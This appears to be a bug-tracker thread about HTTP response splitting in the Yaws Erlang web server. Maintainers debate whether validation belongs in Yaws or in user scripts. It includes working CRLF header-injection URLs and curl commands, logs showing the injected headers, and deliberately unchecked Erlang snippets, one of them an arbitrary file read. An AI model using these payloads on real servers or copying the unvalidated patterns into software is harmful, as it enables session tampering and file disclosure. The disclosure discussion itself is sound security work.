HTTP Response Splitting

[mxtthias]

Given a yaws page that includes unvalidated data in the HTTP response, it is possible to craft a URL that allows the attacker to e.g. inject headers. See [0] for more information.

<erl>

out(Arg) ->
  Query = yaws_api:parse_query(Arg),
  {"f", Dest}  = lists:keyfind("f", 1, Query),
  {redirect_local, Dest}.

</erl>

% curl 'http://example.com:8080/crlf.yaws?f=/some_page.yaws%0D%0ASet-Cookie%3A%20Foo=Bar 

Worker: <0.88.0> 
[2012-09-11 09:10:04.945] ===== CLI -> SRV =====
GET /crlf.yaws?f=/some_page.yaws%0D%0ASet-Cookie%3A%20Foo=Bar HTTP/1.1
Accept: */*
Host: example.com:8080
User-Agent: curl/7.26.0

Worker: <0.88.0> 
[2012-09-11 09:10:04.945] ===== SRV -> CLI =====
HTTP/1.1 302 Found
Server: Yaws 1.94
Location: http://example.com:8080/some_page.yaws
Set-Cookie: Foo=Bar
Date: Tue, 11 Sep 2012 07:10:04 GMT
Content-Length: 1
Content-Type: text/html

[0] http://cwe.mitre.org/data/definitions/113.html

[capflam]

IMHO, in your example, it is your responsibility to return a valid URL. Calling yaws_api:url_encode/1 to encode Dest fixes the problem.

[mxtthias]

You could also argue that it shouldn't be possible to return additional headers this way.

Is there any reason why you'd ever want to include '\r' and/or '\n' in the headers?

[capflam]

It must certainly not be allowed to inject headers in this way and '\r' and '\n' must be escaped into URLs redirection. And, AFAIK, It is not possible in Yaws, excluding return values coming from Yaws scripts. Else, it is certainly a bug.

In your example, you are supposed to return a valid URL (according to RFC-2616) and, in a general way, Yaws scripts must return values in a valid format to yaws. I think your issue is less a problem of header injection than a problem of conformance to Yaws APIs.

PS: unlike URLs, linear-white-space sequences ( containing CRLF) are allowed in headers.

[mxtthias]

Another example:

<erl>
  out(A) ->
    Query = yaws_api:parse_query(A),
    {"f", Name}  = lists:keyfind("f", 1, Query),
    yaws_api:setcookie("foobar", Name).
</erl>

% curl 'http://example.com:8080/setcookie.yaws?f=x%0D%0ASet-Cookie%3A%20Foo=Bar

Worker: <0.179.0> 
[2012-09-14 12:05:14.786] ===== CLI -> SRV =====
GET /setcookie.yaws?f=x%0D%0ASet-Cookie%3A%20Foo=Bar HTTP/1.1
Accept: */*
Host: example.com:8080
User-Agent: curl/7.26.0

Worker: <0.179.0> 
[2012-09-14 12:05:14.787] ===== SRV -> CLI =====
HTTP/1.1 200 OK
Server: Yaws 1.94
Date: Fri, 14 Sep 2012 10:05:14 GMT
Content-Length: 426
Content-Type: text/html
Set-Cookie: foobar=x
Set-Cookie: Foo=Bar;

Also, entering the following URL into Chrome

http://example.com:8080/setcookie.yaws?f=x%0D%0AContent-Length%3A%201%0D%0AContent-Type%3A%20text/html%0D%0A%0D%0AHTTP/1.1%20302%20Found%0D%0ALocation%3A%20http://xkcd.com

I get this:

Error 346 (net::ERR_RESPONSE_HEADERS_MULTIPLE_CONTENT_LENGTH): Multiple distinct Content-Length headers received. This is disallowed to protect against HTTP response splitting attacks.

[capflam]

I fully understand the problem. My point is that checks must be done into the scripts. Maybe some functions can be added in yaws_api to help developers and all ideas are welcome; but Yaws should not do these checks by itself and by default.

Steve and Klacke might disagree with me, but I am definitely against the idea to be defensive against what developers do into Yaws scripts. I think it is important to not pay for what you do not use. If I use a hardcoded path to do a local redirect, I don't want that Yaws parses it to check its format.

Moreover, the behavior of Yaws when invalid data are used is highly dependent on your script. Maybe you want to return an error, maybe you want to skip the parameter. Yaws cannot decide for you.

Here, yaws_api:setcookie/2 takes 2 arguments, the first one must be a string representing a cookie name and the second one must be a string representing a cookie value. Name could be an invalid cookie value, so checks on it must be done before calling yaws_api:setcookie/2.

Lay your security problem aside a moment and take this example:

 <erl>
 out(A) ->
     Query = yaws_api:parse_query(A),
     {"file", File}  = lists:keyfind("file", 1, Query),
     {ok, Content} = file:read_file(File),
     {html, Content}.
 </erl>

It is a security hole to not check which file you read (e.g, "/etc/yaws/yaws.conf"). And the test must be done in the script, not in the file module or somewhere in Yaws. For me, examples you gave reflect the same problem.

[mxtthias]

I think you make a very good argument and I agree with what you are saying. I'm closing this issue.

Thanks for your time!